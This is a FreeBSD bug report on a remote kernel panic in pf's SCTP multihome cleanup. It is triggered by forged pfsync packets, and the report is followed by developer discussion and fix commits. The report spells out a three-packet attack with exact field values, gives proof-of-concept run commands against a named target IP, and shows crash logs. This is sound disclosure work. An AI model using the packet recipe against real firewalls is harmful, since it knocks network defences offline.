Created attachment 270393 [details] POC code Overview ──────── `pf_sctp_multihome_detach_addr()` in `sys/netpfil/pf/pf.c` dereferences `s->src.scrub` without a NULL guard, while the immediately preceding access to `s->dst.scrub` is correctly guarded. A remote unauthenticated attacker who can send packets to a host's pfsync synchronization interface injects a forged pfsync state with `src.scrub_flag=0` which causes the kernel to leave `s->src.scrub = NULL` on import and then triggers state removal via a second forged pfsync packet. The kernel dereferences the NULL pointer at offset `+0x20`, generating a fatal page fault and forcing an immediate system reboot. The attack requires three packets totaling under 600 bytes. No account, no authentication, and no prior knowledge of the target is required beyond the IP address of the pfsync synchronization interface. Confirmed against FreeBSD 15.0-RELEASE (GENERIC amd64) across two independent test hosts, with pf configured under both `pass all keep state` and the more restrictive `pass in proto sctp keep state`. Reproduced across 10 independent kernel panics (vmcore.0 through vmcore.9) on the latest-tested host. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Affected Versions ───────────────── Version Arch pf.conf at panic ────────────────────────────────────────── ────── ────────────────────────────── FreeBSD 15.0-RELEASE amd64 pass in proto sctp keep state releng/15.0-n280995-7aedc8de6446 (host: nepph16 / 192.168.2.8) vmcore.5 2026-05-03 (latest) FreeBSD 15.0-RELEASE is the latest stable release as of this report. NOTE: The attack succeeds under `pass in proto sctp keep state` a targeted, production-realistic SCTP ruleset. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Vulnerability Details ───────────────────── File: sys/netpfil/pf/pf.c Function: pf_sctp_multihome_detach_addr(struct pf_state *s) static void pf_sctp_multihome_detach_addr(struct pf_state *s) { struct pf_sctp_endpoint *e, key; /* dst.scrub is guarded correctly */ if (s->dst.scrub != NULL) key.v_tag = s->dst.scrub->pfss_v_tag; /* line ~7395 */ e = pf_sctp_endpoints_RB_FIND(&V_pf_sctp_endpoints, &key); if (e == NULL) return; /* early-return if tree is empty or no match */ /* ... endpoint found, partial cleanup ... */ /* src.scrub is NOT guarded the bug */ key.v_tag = s->src.scrub->pfss_v_tag; /* line ~7410: NULL deref */ /* if src.scrub == NULL */ e = pf_sctp_endpoints_RB_FIND( &V_pf_sctp_endpoints, &key); /* pf.c:229 */ The function is called during state removal whenever the state's protocol is IPPROTO_SCTP (0x84). `s->src.scrub` is NULL whenever the imported pfsync state carried `src.scrub_flag = 0` in its wire format a condition the attacker controls directly. Why V_pf_sctp_endpoints must be non-empty ────────────────────────────────────────── `pf_sctp_endpoints_RB_FIND` calls RB_FIND() which bails immediately when the tree root is NULL. If RB_FIND returns NULL on the first call (dst.scrub path), the function returns early at `if (e == NULL) return` and never reaches the unguarded `s->src.scrub` access. Therefore Phase 1 of the attack must populate `V_pf_sctp_endpoints` so the first RB_FIND returns non-NULL, advancing execution past the early return and into the unguarded dereference. Call Chain ────────── ip_input() ip_input.c:861 └─ pfil hook → pfsync_input() if_pfsync.c:1016 └─ pfsync_in_clr() if_pfsync.c:1166 └─ pf_remove_state() pf.c:2863 └─ pf_detach_state() pf.c:1607 └─ pf_sctp_multihome_detach_addr() pf.c:7410 → s->src.scrub->pfss_v_tag → mov 0x20(%rcx), %esi [rcx=0] → page fault @ 0x20 → panic("page fault") The fault occurs in a kernel network processing thread (swi1: netisr or if_io_tqg depending on NIC driver). No user-mode involvement exists at any point. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Attack Flow ─────────── Three packets, all standard raw IP. No authentication. No prior state on the target. Attacker must be on the same L2 segment as the target's pfsync syncdev interface (TTL=255 requirement in pfsync_input). Packet 1 SCTP INIT: seed V_pf_sctp_endpoints ──────────────────────────────────────────────── IP: src=ATTACKER:11111 dst=TARGET:9999 proto=132 TTL=64 SCTP: chunk_type=INIT (0x01) initiate_tag=0xDEADBEEF SCTP_IPV4_ADDRESS param (type=0x0005): addr=10.254.254.1 pf_multihome_scan_init detects the SCTP_IPV4_ADDRESS parameter and queues a pf_sctp_multihome_add_addr job. The job inserts endpoint {v_tag=0xDEADBEEF} into V_pf_sctp_endpoints. A pf state is also created for the SCTP connection (id > 1, larger than the injected pfsync state). After Packet 1: V_pf_sctp_endpoints = { 0xDEADBEEF } ← non-empty, RB_FIND will not bail pf state table: { id=N (legitimate SCTP state) } Packet 2 pfsync INS_1500: inject state with src.scrub=NULL ───────────────────────────────────────────────────────────── IP: src=ATTACKER dst=TARGET proto=240 TTL=255 ← pfsync, L2-only pfsync: version=5 action=15 (PFSYNC_ACT_INS_1500) count=1 state: id = 0x0000000000000001 ← smallest possible ID ifname = "em0" wire_af = AF_INET wire_proto = IPPROTO_SCTP (0x84) src.scrub_flag = 0x00 ← BUG TRIGGER: src.scrub will be NULL dst.scrub_flag = 0x01 ← dst.scrub will be allocated expire = htonl(86400) ← expires at time_uptime (immediately) creatorid = htonl(0x01010101) After Packet 2: pf state table: { id=1 (src.scrub=NULL, expires now), id=N } Packet 3 pfsync ACT_CLR: deterministic trigger ────────────────────────────────────────────────── IP: src=ATTACKER dst=TARGET proto=240 TTL=255 pfsync: version=5 action=0 (PFSYNC_ACT_CLR) count=1 clr: ifname="em0" creatorid=htonl(0x01010101) pfsync_in_clr iterates V_tree_id in ascending order. State id=1 is first. pf_remove_state(id=1) → pf_detach_state → pf_sctp_multihome_detach_addr → s->src.scrub->pfss_v_tag with src.scrub=NULL → #PF @ 0x20 → panic. pfsync Wire Format: attacker-controlled scrub_flag ────────────────────────────────────────────────── struct pf_state_scrub_export { uint16_t pfss_flags; uint8_t pfss_ttl; uint8_t scrub_flag; /* 0 = no scrub; 1 = allocate scrub */ uint32_t pfss_ts_mod; } __attribute__((packed)); Setting scrub_flag=0 is a valid and expected wire value. The kernel faithfully imports the state with src.scrub=NULL and then calls pf_sctp_multihome_detach_addr without checking whether src.scrub is non-NULL. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Proof of Concept ──────────────── Target setup: kldload pfsync ifconfig pfsync0 up syncdev em0 pfctl -e pf.conf (minimal both variants confirmed): pass in proto sctp keep state # production-realistic rule # or: pass all keep state # broadest form, also confirmed Build and run (Linux or FreeBSD pure POSIX, no BSD SDK required): cc -O2 -o poc_remote_unauth poc_remote_unauth.c sudo ./poc_remote_unauth <target_ip> <attacker_ip> [sctp_dport] [syncdev] # confirmed: sudo ./poc_remote_unauth 192.168.2.8 192.168.2.112 9999 em0 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Crash Evidence ────────────── ── Crash 1 (vmcore.5) Host: nepph16 (192.168.2.8) PRIMARY ────────────── OS: FreeBSD 15.0-RELEASE releng/15.0-n280995-7aedc8de6446 GENERIC amd64 pf.conf: pass in proto sctp keep state pfsync0: syncdev em0, UP, version 1500 Dumptime: 2026-05-03 17:51:14 UTC Dump Length: 341,442,560 bytes Dump Status: good Uptime at crash: 3m46s Kernel Message Buffer: Fatal trap 12: page fault while in kernel mode cpuid = 5; apic id = 05 fault virtual address = 0x20 fault code = supervisor read data, page not present instruction pointer = 0x20:0xffffffff8223b3eb stack pointer = 0x28:0xfffffe006364f970 frame pointer = 0x28:0xfffffe006364f9a0 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 0 (if_io_tqg_5) rdi: fffffe00069be0f8 rsi: 0000000000000000 rdx: fffff8005ffcd758 rcx: 0000000000000000 r8: 0000000000000000 r9: 0000000000000001 rax: fffffe0085041320 rbx: fffff8005f98f180 rbp: fffffe006364f9a0 r10: 0000000000000001 r11: 0000000000000201 r12: fffff8002e7cae00 r13: 0000000000000001 r14: fffff800b2940aa8 r15: fffff80004512000 trap number = 12 panic: page fault cpuid = 5 time = 1777830674 Register analysis: rcx : 0x0000000000000000 ← s->src.scrub = NULL (THE BUG) rbx : 0xfffff8005f98f180 ← s (struct pf_state*) r13 : 0x0000000000000001 ← state id=1 (the injected state) rip : 0xffffffff8223b3eb ← inside pf_sctp_endpoints_RB_FIND fault VA : 0x20 ← NULL + offsetof(pf_state_scrub, pfss_v_tag) KDB Stack Backtrace: #0 0xffffffff80bbe1ed kdb_backtrace+0x5d #1 0xffffffff80b71576 vpanic+0x136 #2 0xffffffff80b71433 panic+0x43 #3 0xffffffff81079f69 trap_pfault+0x3c9 #4 0xffffffff8104ff18 calltrap+0x8 #5 0xffffffff8223d6a6 pf_remove_state+0x296 #6 0xffffffff8222a669 pfsync_in_clr+0x129 #7 0xffffffff8222a211 pfsync_input+0x241 #8 0xffffffff80d3d9f9 ip_input+0x1f9 #9 0xffffffff80cbe38f netisr_dispatch_src+0x9f #10 0xffffffff80ca21e9 ether_demux+0x149 #11 0xffffffff80ca3549 ether_nh_input+0x339 #12 0xffffffff80cbe38f netisr_dispatch_src+0x9f #13 0xffffffff80ca2556 ether_input+0x56 #14 0xffffffff80d56b5c tcp_lro_flush_all+0xbc #15 0xffffffff80cba988 iflib_rxeof+0xa88 #16 0xffffffff80cb5552 _task_fn_rx+0x72 #17 0xffffffff80bbcb8e gtaskqueue_run_locked+0x14e ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Security Advisory Classification ────────────────────────────────── Type : Remote Denial of Service CVSS 3.1 Vector : AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS 3.1 Score : 6.5 Medium Authentication : None Preconditions : pf.ko loaded, pfsync.ko loaded, pfsync0 UP with any syncdev, any pf rule accepting SCTP with keep state Attack vector : Adjacent (same L2 as pfsync syncdev interface) L2 constraint : TTL=255 checked in pfsync_input one router hop breaks attack Packets required : 3 (under 600 bytes total) Reproducibility : 100% deterministic Impact : Kernel panic, forced reboot, complete loss of firewall availability Patch available : No Confirmed on : FreeBSD 15.0-RELEASE (latest stable), 10 vmcores across 2 hosts Workaround : Isolate pfsync syncdev to a dedicated L2 with no shared access; or kldunload pfsync if pfsync HA is not required Qualifies under the FreeBSD Security Advisory criterion: "Denial of Service from an adjacent network, where adjacent means the same broadcast domain as the affected interface." ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Thanks! Credits: Author: Igor Gabriel Sousa e Souza Sponsored by: BSDTrust Email: igor@bsdtrust.com LinkedIn: https://www.linkedin.com/in/igo0r
Cc: Kristof. I believe we've decided before that running pfsync on a shared L2 is not a supported configuration. We should fix this but I would need to be persuaded that this merits an SA under the "remotely exploitable" criterion. If a malicious actor can get to the pfsync segment, they can do a lot more mischief much more easily. What do others on secteam@ think?
(In reply to Philip Paeps from comment #1) I share that assessment. The ability to inject packets to pfsync implies the ability to set arbitrary pf states, so this is a denial of service attack via an interface that is explicitly designed to allow denial of service. It's still a bug, but I would also not consider it to be a security bug.
A commit in branch main references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=bf6d00afdb6171ba04a1c5a7fde904cde87d212d commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d Author: Kristof Provost <kp@FreeBSD.org> AuthorDate: 2026-05-04 16:08:35 +0000 Commit: Kristof Provost <kp@FreeBSD.org> CommitDate: 2026-05-05 07:45:29 +0000 pfsync: reject invalid SCTP states SCTP states should always have a src scrub object associated with them. Crafted pfsync packets might not have this, leading to us derferencing a NULL pointer on cleanup. Validate the pfsync state insertion packet to make sure this is correct. PR: 294989 MFC after: 1 week Sponsored by: Rubicon Communications, LLC ("Netgate") sys/netpfil/pf/if_pfsync.c | 7 +++++++ 1 file changed, 7 insertions(+)
A commit in branch stable/14 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=8d583858e499dcc23a1c7b6b9c80e2e84f245d04 commit 8d583858e499dcc23a1c7b6b9c80e2e84f245d04 Author: Kristof Provost <kp@FreeBSD.org> AuthorDate: 2026-05-04 16:08:35 +0000 Commit: Kristof Provost <kp@FreeBSD.org> CommitDate: 2026-05-12 07:54:38 +0000 pfsync: reject invalid SCTP states SCTP states should always have a src scrub object associated with them. Crafted pfsync packets might not have this, leading to us derferencing a NULL pointer on cleanup. Validate the pfsync state insertion packet to make sure this is correct. PR: 294989 MFC after: 1 week Sponsored by: Rubicon Communications, LLC ("Netgate") (cherry picked from commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d) sys/netpfil/pf/if_pfsync.c | 7 +++++++ 1 file changed, 7 insertions(+)
A commit in branch stable/15 references this bug: URL: https://cgit.FreeBSD.org/src/commit/?id=91d1c1c2b1e74e776641a0923a9796b018c610d2 commit 91d1c1c2b1e74e776641a0923a9796b018c610d2 Author: Kristof Provost <kp@FreeBSD.org> AuthorDate: 2026-05-04 16:08:35 +0000 Commit: Kristof Provost <kp@FreeBSD.org> CommitDate: 2026-05-12 07:54:34 +0000 pfsync: reject invalid SCTP states SCTP states should always have a src scrub object associated with them. Crafted pfsync packets might not have this, leading to us derferencing a NULL pointer on cleanup. Validate the pfsync state insertion packet to make sure this is correct. PR: 294989 MFC after: 1 week Sponsored by: Rubicon Communications, LLC ("Netgate") (cherry picked from commit bf6d00afdb6171ba04a1c5a7fde904cde87d212d) sys/netpfil/pf/if_pfsync.c | 7 +++++++ 1 file changed, 7 insertions(+)